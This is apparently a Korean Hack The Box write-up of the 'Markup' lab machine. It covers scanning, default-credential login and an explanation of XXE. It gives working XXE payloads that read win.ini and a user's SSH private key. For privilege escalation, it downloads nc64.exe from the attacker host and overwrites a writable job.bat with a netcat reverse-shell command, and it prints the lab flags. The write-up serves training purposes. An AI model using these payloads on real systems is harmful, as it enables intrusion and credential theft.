▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier2 Markup


Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.9.246 -p- -Pn -n --open --min-rate 2000      
[sudo] password for kali: 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 12:42 +0900
Nmap scan report for 10.129.9.246
Host is up (0.21s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 65.92 seconds

Task

포트 스캔 -> 포트 스캔 2(탐지된 포트 타겟팅)

  • Apache version?
    • nmap -sV 사용
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.9.246 -p 80,443 -Pn -n -sV --min-rate 2000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 12:44 +0900
Nmap scan report for 10.129.9.246
Host is up (0.21s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
443/tcp open  ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.30 seconds
  • Login
    • admin:password
    • guessing…
    • 취약한 인증 정보를 담고 있음 (다른 것들도 시도해볼 수 있음)
  • input page
    • order
  • XML version?
    • check source code 또는 burpsuite 로 잡아보면 post 방식으로 xml 데이터 날아감.
    • XML : eXtensible Markup Language의 약어로, 데이터를 구조적으로 표현하고 전달하기 위한 텍스트 형식
<?xml version="1.0"?>
<user>
  <name>alice</name>
  <role>admin</role>
</user>
  • 이런느낌?
    • <user>, <name> 같은 태그로 데이터 구조를 표현. (파싱이 쉬움)
  • XXE / XEE 약어?
    • XXE : XML External Entity
      • XML에서 외부 엔티티를 이용해 파일읽기, SSRF 같은 걸 유도하는 공격
    • XEE : XML Entity Expansion
      • 엔티티 확장을 과도하게 일으켜 리소스를 고갈시키는 공격
    • 주로 XML External Entity 로 많이 불림
    • XML을 Parsing하여 사용하는 서비스에 악의적인 XMl 구문을 Parsing하도록 유도하여 공격자가 의도한 동작을 수행하도록 하는 공격
    • https://www.hahwul.com/cullinan/attack/xxe/
  • Entity ?
    • 치환되는 값을 말한다.
    • XML 문서 안에 어떤 기호나 이름을 써두면, 파서가 그걸 다른 내용으로 바꿔서 해석.
    • ex.
      • &lt; -> <
      • &gt; -> >
      • &amp; -> &
      • <!ENTITY name "monkeygod"> -> &name = monkeygod 치환
  • html에 숨은 username?
    • services.php 소스 코드 상단부에 주석으로 소스 코드를 개선한 사람의 이름이 들어있음 (Daniel)

여기서 크랙 아이디어가 떠오름. nmap 스캐닝에 ssh 서비스가 돌아가고 있었는데, 만약 Daniel 이라는 유저가 접속이 가능하다면? ssh 접속 키를 가지고 있다면? 키는 보통 홈디렉터리에 .ssh 디렉터리에 존재하는데, 이를 XXE로 노출한다면?

XXE 수행

우선 XXE가 가능한지 확인.

  • burpsuite로 잡은 뒤, 해당 XML를 삽입
<?xml version="1.0"?>
	<!DOCTYPE root [<!ENTITY winsys SYSTEM 'file:///c:/windows/win.ini'>]>
	<order>
		<quantity>
			test
		</quantity>
		<item>
			&winsys;
		</item>
		<address>
			test
		</address>
	</order>
  • <!DOCTYPE root [...]>
    • DOCTYPE : XML 문서가 어떤 구조를 따르는지 설명하는 선언문
    • root : 문서 타입 이름 (이런식으로 정의된 문서를 root라하자)
    • […] : DTD 선언이 들어간다.
      • XML 문서 안에서 사용할 엔티티나 규칙을 직접 적는 영역
  • <!ENTITY winsys SYSTEM 'file:///...'>
    • winsys : 엔티티 이름
    • SYSTEM : 외부 자원을 참조한다는 의미
    • file:/// : 로컬 파일 시스템에서 파일을 읽겠다는 의미
    • c:/windows/win.ini : windows 파일
      • 리눅스의 /etc/passwd 확인 하는 느낌으로 자주 보는 파일
  • <order>
    • XML 본문
    • <quantity>, <address> : 사용자 입력이 들어가는 곳
    • <item> : select 형식으로 받은 입력이 들어감.
      • 이 부분이 응답으로 돌아올 때 요청에 맞게 출력해주는데, 유일하게 입력부가 출력되는 부분이라 해당 부분에 winsys 엔티티를 넣어준다. 위 요청을 보내면 정상적으로 불러오는 것을 확인할 수 있다.

Daniel’s ssh key leak

Windows에서 ssh 키 관리 기본 경로는 다음과 같다.

c:/Users/<username>/.ssh

그리고 키의 기본 이름은 id_rsa 이다. (공개키는 .pub 이 붙음)

이걸 XXE로 요청해보면?

  • payload
<?xml version = "1.0"?>

	<!DOCTYPE root [<!ENTITY key SYSTEM 'file:///c:/Users/Daniel/.ssh/id_rsa'>]>

<order><quantity>qwe</quantity><item>&key;</item><address>qwe</address></order>

alt text

이렇게 키가 유출된다.

foothold

이제 얻은 키를 이용해 ssh 접속을 시도해보자.

  • 파일 생성
  • 키 복사 / 붙여넣기
  • ssh 접속! 생성한 키 권한은 600(rw- --- ---) 을 걸어주자.
  • SSH가 키 권한을 보고 안전하지 않다고 판단되면 사용을 막아버리기 때문

접속

ssh daniel@10.129.9.246 -i ./id_rsa
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

daniel@MARKUP C:\Users\daniel>

성공!!

user.txt (user flag)

daniel@MARKUP C:\Users\daniel>cd Desktop

daniel@MARKUP C:\Users\daniel\Desktop>dir 
 Volume in drive C has no label.
 Volume Serial Number is BA76-B4E3

 Directory of C:\Users\daniel\Desktop

03/05/2020  07:18 AM    <DIR>          .
03/05/2020  07:18 AM    <DIR>          ..
03/05/2020  07:18 AM                35 user.txt    
               1 File(s)             35 bytes      
               2 Dir(s)   7,385,018,368 bytes free 

daniel@MARKUP C:\Users\daniel\Desktop>type user.txt 
032d2fc8952a8c24e39c8f0ee9918ef7

Privilege Escalation

우선 daniel의 권한을 확인해보면,

daniel@MARKUP C:\Log-Management>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

별다른 권한이 없다.

C 드라이브로 가보면, Log-Management 라는 폴더가 있음. (xampp도 웹 설정들이 모여있는 파일이지만 지금은 패스)

daniel@MARKUP C:\Log-Management>dir 
 Volume in drive C has no label. 
 Volume Serial Number is BA76-B4E3

 Directory of C:\Log-Management

03/12/2020  03:56 AM    <DIR>          .
03/12/2020  03:56 AM    <DIR>          ..
03/06/2020  02:42 AM               346 job.bat
               1 File(s)            346 bytes
               2 Dir(s)   7,394,062,336 bytes free

내부에 job.bat 파일을 type 명령으로 읽어보면,

daniel@MARKUP C:\Log-Management>type job.bat 
@echo off 
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

이런 스크립트가 들어있는것을 볼 수 있다.

job.bat script 설명

@echo off 
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd

:do_clear
wevtutil.exe cl %1
goto :eof

:noAdmin
echo You must run this script as an Administrator!

:theEnd
exit
  • @echo off : 명령어 자체를 화면에 출력하지 않도록 함. (@ : 이 줄 자기 자신도 출력하지 않게 함)
  • FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
    • bcdedit : Windows 부팅 구성 데이터를 보는 명령 (관리자 권한 필요)
    • FOR /F : 명령 실행 결과를 한 줄씩 읽어서 처리하는 반복문
    • tokens=1,2*" : 출력 결과를 공백 기준으로 나눠서 가져옴
      • 첫번째 토큰을 %%V에 넣음
      • ex
        • 출력이 Access is denied. 일경우 첫번째 토큰은 Access
    • DO SET adminTest=%%V: 첫 번째 단어를 adminTest 변수에 저장
    • 정리하자면, bededit 명령을 실행해보고, 에러가 나면 첫 단어인 Access를 잡아낸다. (관리자 권한으로 실행했는지 확인)
  • IF (%adminTest%)==(Access) goto noAdmin
    • 만약 adminTest 변수가 Access(Access is denied) 이면 noAdmin으로 점프
  • for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
    • wevtutil.exe el
      • wevtutil.exe : Windows 이벤트 로그 관리 도구
      • el : enumerate logs
        • 시스템에 존재하는 이벤트 로그 이름들을 전부 출력
    • for /F 'tokens=*" : 출력 결과를 한 줄씩 전부 읽고, 각 줄 전체를 %%G에 넣음
    • call :do_clear "%%G" : 로그 이름 하나씩 :do_clear 서브루틴에 넘김
    • 정리하자면, 시스템에 있는 모든 이벤트 로그 이름을 하나씩 가져와서 지우는 함수에 전달함
  • :do_clear
    • wevtutil.exe cl %1 : 전달 받은 첫번째 인자를 삭제(clear log)
      • 전달 받은 이벤트 로그를 비움
    • goto :eof : 서브루틴 종료 후 호출한 곳으로 돌아감
  • 나머지
    • 모든 동작이 끝나면 : “이벤트 로그가 지워졌습니다” 출력
    • 관리자 권한이 아니면 : “관리자 권한으로 실행해야 합니다” 출력

icacls

Windows에서 파일이나 디렉터리의 권한을 확인하고 수정할 때 사용하는 명령이다. 해당 명령을 이용해 job.bat 의 권한을 보면,

daniel@MARKUP C:\Log-Management>icacls job.bat
job.bat BUILTIN\Users:(F)
        NT AUTHORITY\SYSTEM:(I)(F)
        BUILTIN\Administrators:(I)(F)
        BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

다음과 같이 되어있는데, 이상한 점이 있다.

  • BUILTIN\Users 권한이 마지막 줄에는 Read, eXecute 권한이 들어가 있는데, 첫줄에 Full 권한이 있어서 수정까지 가능하다는 것이다. (Daniel도 Users에 속함)

하지만, 수정만 가능할 뿐 관리자 권한이 필요하다. … 누군가가 또는 무언가가 관리자 권한으로 이미 실행을 하고 있다면? 그래서 powershell로 바꾸어서 ps 명령으로 프로세스를 확인해보면 wevtutil.exe 가 실행되고 있음을 알 수 있고, 이는 job.bat 이 정상적으로(관리자 권한을 받아) 실행되고 있다는 것을 의미한다.

exploit

머신이 인터넷 연결이 안되어 있으니 로컬에서 nc64.exe 를 다운 받아 python으로 서버를 열어 wget으로 받아가도록 만들자.

그리고 nc64.exe 를 실행하여 네트워크 연결이 이루어 졌을 때 cmd.exe를 실행 시키도록 하는 명령을 job.bat 에 덮어씌우면, 관리자 권한으로 cmd가 실행될 것이다!!

nc64.exe

python server

python3 -m http.server 8000

wget (need powershell) - target machine

wget "http://10.10.15.16:8000/nc64.exe" -outfile nc64.exe

nc listener

sudo nc -lnvp 1337

미리 열어두고 있자.

job.bat overwrite

echo C:\Log-Management\nc64.exe 10.10.15.16 1337 -e cmd.exe > C:\Log-Management\job.bat

여기까지 실행을 완료하고, 리스너를 확인해보면?

┌──(kali㉿kali)-[~/Documents/htb/markup]
└─$ sudo nc -lvnp 1337
[sudo] password for kali: 
listening on [any] 1337 ...
connect to [10.10.15.16] from (UNKNOWN) [10.129.10.11] 49673
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

이렇게 리버스 쉘을 받을 수 있다.

Administrator 폴더에 Desktop에서 관리자 플래그를 획득 할 수 있다.

flag

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BA76-B4E3

 Directory of C:\Users\Administrator\Desktop

03/05/2020  07:33 AM    <DIR>          .
03/05/2020  07:33 AM    <DIR>          ..
03/05/2020  07:33 AM                70 root.txt
               1 File(s)             70 bytes
               2 Dir(s)   7,390,978,048 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
f574a3e7650cebd8c39784299cb570f8

← ALL POSTS